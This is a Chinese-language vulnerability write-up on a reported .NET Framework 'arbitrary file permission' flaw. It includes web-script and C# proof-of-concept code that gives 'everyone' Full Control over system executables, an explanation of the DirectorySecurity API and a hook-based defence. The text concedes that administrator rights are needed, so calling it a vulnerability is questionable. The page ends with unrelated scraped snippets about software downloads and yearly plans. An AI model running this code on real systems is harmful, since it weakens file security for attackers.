QTVA-2015-198545、WooYun-2015-104148 .NET Framework Arbitrary File Permissions Modify Vul

catalog

1. Description
2. Effected Scope
3. Exploit Analysis
4. Principle Of Vulnerability
5. Patch Fix

1. Description

通过.NET Framework的这个API漏洞,攻击者可以赋予任意程序文件执行权限

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2015-0104148
https://butian.360.cn/vul/info/qid/QTVA-2015-198545

2. Effected Scope

Microsoft .NET Framework 2.0
Microsoft .NET Framework 3.5
Microsoft .NET Framework 3.5.1
Microsoft .NET Framework 4
Microsoft .NET Framework 4.5
Microsoft .NET Framework 4.5.1

3. Exploit Analysis

try
{
    var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone";
    /*
    DirectoryInfo类,公开用于创建、移动和枚举目录和子目录的实例方法,此类不能被继承
    https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx
    */
    var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath);

    /*
    GetAccessControl(): 获取DirectorySecurity对象,该对象封装当前DirectoryInfo对象所描述的目录的访问控制列表(ACL)项
    返回一个DirectorySecurity对象,该对象封装此目录的访问控制规则
    https://msdn.microsoft.com/zh-cn/library/t1h6d4k4(v=vs.110).aspx
    */
    var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl();

    /*
    AddAccessRule(FileSystemAccessRule): 将指定的访问控制列表(ACL)权限添加到当前文件或目录
    https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.directorysecurity(v=vs.110).aspx
    public FileSystemAccessRule(
        IdentityReference identity,
        FileSystemRights fileSystemRights,
        AccessControlType type
    )
    1. identity: System.Security.Principal::IdentityReference: 封装对用户帐户的引用的 IdentityReference对象
    2. fileSystemRights: System.Security.AccessControl::FileSystemRights:FileSystemRight 值之一,该值指定与访问规则关联的操作的类型
    3. type: System.Security.AccessControl::AccessControlType: AccessControlType值之一,该值指定是允许还是拒绝该操作
    */
    dirsecurity.AddAccessRule(
        new System.Security.AccessControl.FileSystemAccessRule(
            strUser,
            System.Security.AccessControl.FileSystemRights.FullControl,
            System.Security.AccessControl.AccessControlType.Allow
        ));
    /*
    FileSystemAccessRule类: 表示定义文件或目录的访问规则的访问控制项 (ACE) 的抽象
    https://msdn.microsoft.com/zh-cn/library/system.security.accesscontrol.filesystemaccessrule(v=vs.110).aspx
    */

    //SetAccessControl: 将DirectorySecurity对象所描述的访问控制列表(ACL)项应用于当前DirectoryInfo对象所描述的目录
    dirinfo.SetAccessControl(dirsecurity);
    Response.Write(strPath+"\t权限添加成功!");

}
catch(x)
{
    Response.Write(x.Message);
}

Relevant Link:

https://msdn.microsoft.com/zh-cn/library/system.io.directoryinfo(v=vs.110).aspx

0x1: POC

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace poc
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                String strPath = "C:\\notepad.exe", strUser = "everyone";
                System.IO.DirectoryInfo dirinfo = new System.IO.DirectoryInfo(strPath);
                System.Security.AccessControl.DirectorySecurity dirsecurity = dirinfo.GetAccessControl();

                dirsecurity.AddAccessRule(
                    new System.Security.AccessControl.FileSystemAccessRule(
                        strUser,
                        System.Security.AccessControl.FileSystemRights.FullControl,
                        System.Security.AccessControl.AccessControlType.Allow
                    )); 

                dirinfo.SetAccessControl(dirsecurity);
                Console.WriteLine(strPath+"\t权限添加成功!");

            }
            catch(Exception x)
            {
                Console.WriteLine(x.Message);
            }
        }
    }
} 

4. Principle Of Vulnerability

使用.NET的Directory类,用户可通过DirectorySecurity对象的下列方法来访问目录的访问控制列表(ACL)

1. GetAccessControl: 返回一个目录的Windows ACL作为一个DirectorySecurity对象
2. SetAccessControl: 将DirectorySecurity对象的ACl入口赋予指定目录 

0x1: DirectorySecurity

DirectorySecurity类定义了如何对目录访问进行审计。该类是潜在的Windows文件安全系统(System.Security.AccessControl命名空间的一部分)的一个抽象,在该系统中,每个目录有一个自由决定的ACL来控制目录访问。同时,一个系统ACL决定对哪些访问控制进行审计。使用两个类来分别处理目录访问和审计

1. FileSystemAccessRule
2. FileSystemAuditRule

ileSystemAccessRule类代表一个潜在的访问控制入口的抽象,访问控制入口用来指定用户账号,提供的访问类型(读、写等)以及是许可或拒绝某个权限。同时,该类还指定了如何将访问规则传递给子对象。FileSystemAuditRule类代表了为某个文件或目录定义审计规则的ACE
为了通过DirectorySecurity类为某个目录添加一条新规则,需要FileSystemAccessRule和FileSystemAuditRule两个类的新实例

1. 第一个参数: 指定每个应用该规则的用户、组或标识
2. 第二个参数: FileSystemRights列表,用来指定用户(由第一个参数指定)可以进行的操作,它包含很多可能的取值,包括
    1) CreateDirectories
    2) CreateFiles
    3) Delete
    4) FullControl
    5) ListDirectory
3. 最后一个参数: 可用来指定用户能否执行参数二的操作。AccessControlType列表包括两个可能取值
    1) 允许
    2) 拒绝
用于FileSystemAuditRule类的第三个参数可从AuditFlags列表的Failure、None或Success中取值来设定审计级别。FileSystemAuditRule类的构造函数是重载的,这个方法是最基本的方法 

需要注意的是,需要使用管理员权限调用DirectorySecurity相关API

Relevant Link:

http://developer.zdnet.com.cn/2007/0510/391302.shtml
http://www.wyxit.com/article/201501/6731.html

5. Patch Fix

.NET Framework和Java JVM本质上是一样的,都是在操作系统之上抽象出了一层虚拟机,从而允许"中间字节码"在虚拟机上运行,从而实现跨平台
在.NET Framework框架中,如果需要调用操作系统API实现操作系统功能,需要通过Native API接口,即通过DLL/SO来调用操作系统API,因此,我们的防御方案可以从以下方向展开

1. .NET Framework DirectorySecurityAPI涉及到的nativa API为
    1) SetSecurityDescriptorDacl
    2) SetFileSecurity
通过DLL/SO Hook实现管控

2. 在内核层执行路径上进行防御

Copyright (c) 2015 Little5ann All rights reserved

时间: 2024-10-12 06:00:07

QTVA-2015-198545、WooYun-2015-104148 .NET Framework Arbitrary File Permissions Modify Vul的相关文章

[转]Adobe Creative Cloud 2015 下载 Adobe CC 2015 Download

Adobe Creative Cloud 2015 下载 Adobe 宣布 Creative Cloud 设计套件全线更新! Adobe CC 2015新功能包括: – Premiere Pro CC 2015:增加一个新的颜色空间和新的 Lumetri 颜色面板,提供了一个全新的调色工作流编辑器,可在 Premiere Pro CC 2015 软件中打开 Adobe Premiere Clip,支持创意云库(Creative Cloud Libraries),提升了移动应用和集成过程,简化工作

Microsoft Visual Studio 2015 下载、注册、安装过程、功能列表、问题解决

PS:请看看回复.可能会有文章里没有提到的问题.也许会对你有帮助哦~ VS2015正式版出了,虽然没有Ultimate旗舰版,不过也是好激动的说.哈哈.可能有的小伙伴,由于工作环境不允许.或者害怕有什么问题.所以不敢安装vs2015.只能眼巴巴地干瞅着. 因此,我决定,冒一次重装系统的风险,试着安装一下,正好也试试什么序列号能用.希望这次牺牲能值得~~呵呵. 下载地址:Microsoft Visual Studio 2015 全版本+离线MSDN+全部插件 赶紧下载,打开,发现VS2015对安装

2015年、我与我的书

我与书结缘于2014年的6月,如果说有什么初衷的话,那一定是“无聊”.哪一年公司离家很远我就租了一个小黑屋,房间里面只有一盏灯.一张桌子.一把椅子,除了玩LOL或者和朋友陈赓吹吹nb之外,基本上没有什么娱乐项目了.即使是LOL大多时候也算不上娱乐项目,大多数时候都是被别人“娱乐”,次数多了玩的郁闷了,就想还不如干点正经事呢,于是就有了我和书的这段故事.所以很多看似nb的事情,其实背后没有太多宏伟的初衷,如果读书也算nb事情的话!后来的故事就理所当然了,重复的行为循环一定次数之后就成为习惯了,读书

2015长春、沈阳网络赛总结

我所说的总结并不是谈什么题目解法之类的东西 这些东西网上有很多题解 说说这两场网赛吧! 这两场我的状态还行,只是xiaodong还没有找到状态,长春赛lucas+中国剩余定理他硬是打了一整场,还是没打出来,版题没打出来确实不该 wzb状态一般,不过看题的能力依然那么厉害 长春赛中,很遗憾的只出了5道题,按当时过题数目,应该是7道德,可是小东的lucas那题没打出来,而我打得后缀数组那题,当顺时针的时候不用看是否是下标最前面的,但是反过来就需要看了,当时想当然的认为不用,交了4发,一直wa到比赛结

ZOJ Monthly, January 2015 (B、E、G、H)

B题: 先处理出已有卡牌,然后进行dfs,dfs有个很大的剪枝,就是当前位置如果字典序小于了,那么后面就不用继续放了,直接用组合数学进行计算即可,如果大于就不用考虑了,如果等于才继续往后搜,这样的话,搜等于只要在字典序相等的一条路上搜,时间可以接受 E题:模拟即可,不存在无解情况 G题:先全部数字GCD一遍,如果不为1,就是无解,如果为1,那么构造答案,其实只要拿第一个数字,可以其他每个数字做一次gcd,第一个数字就是1了,然后再拿第一个数字和后面数字做gcd,就全部都是1了,一共进行n - 2

【CTSC 2015】&【APIO 2015】酱油记

蒟蒻有幸参加了神犇云集的CTSC & APIO 2015,感觉真是被虐成傻逼了……这几天一直没更新博客,今天就来补一下吧~~(不过不是题解……) Day 0 从太原到北京现在坐高铁只需3小时= =,然而这高铁一路上多次停靠,时速长时间保持在200Km/h以下,超差评!! 然后坐地铁来到燕山大酒店,传说中的四星级酒店啊0.0看大厅就觉得很高档的样子,然而我们住的是旁边的 燕山大酒店公寓楼…… 最egg pain的是房间里原来的客人并没有退宿……上午10点多去了,一直到下午2点多才住上……TAT 试

告别2014迎接2015,我的2015计划。(一定要执行啊!!!)

2014那么快就结束了,好像什么事都没有做呢.所以2015不能这样了要好好安排一下... 健康 每周运动2小时 学习 不挂科 Java 学会开发Android应用 对图书知识的总结概括能力 写作能力 过四级 生活 游览西昌的景点.(在西昌读书,没有游览过当地景点可不行!!!) 养成写日记的习惯 养成阅读的习惯 阅读 计算机程序的构造和解释(Structure and Interpretation of Computer Program) 数据结构与算法分析:C语言描述(Data Structur

告别2014迎接2015,我的2015年计划

2014那么快就结束了,好像什么事都没有做呢.所以2015不能这样了要好好安排一下... 健康 每周运动2小时 学习 不挂科 Java 学会开发Android应用 对图书知识的总结概括能力 写作能力 过四级 生活 游览西昌的景点.(在西昌读书,没有游览过当地景点可不行!!!) 养成写日记的习惯 养成阅读的习惯 阅读 计算机程序的构造和解释(Structure and Interpretation of Computer Program) 数据结构与算法分析:C语言描述(Data Structur

2015第1周六2015技术努力方向

当前阶段工作方面我还是以技术为主,虽未来不像以技术谋生,但当下还必须花时间来提升个人的技术认知水平,大致列一下个人的努力方向: 1.都经典的书籍,后端SSH框架.前端html+css+javascript方面的经典书籍至少各三本:近期读3本非编程方便的好书,如代码大全.人月神话等,先记录下对个人有用的书评,然后再规定的时间内读一遍书再看书评再读. 2.认识牛人,包括网络和公司各方面的技术牛人,学习他们系列文章思考并与他们交流互动,记录个人认识变化. 3.读3个以上经典开源项目源码,至少精度一个开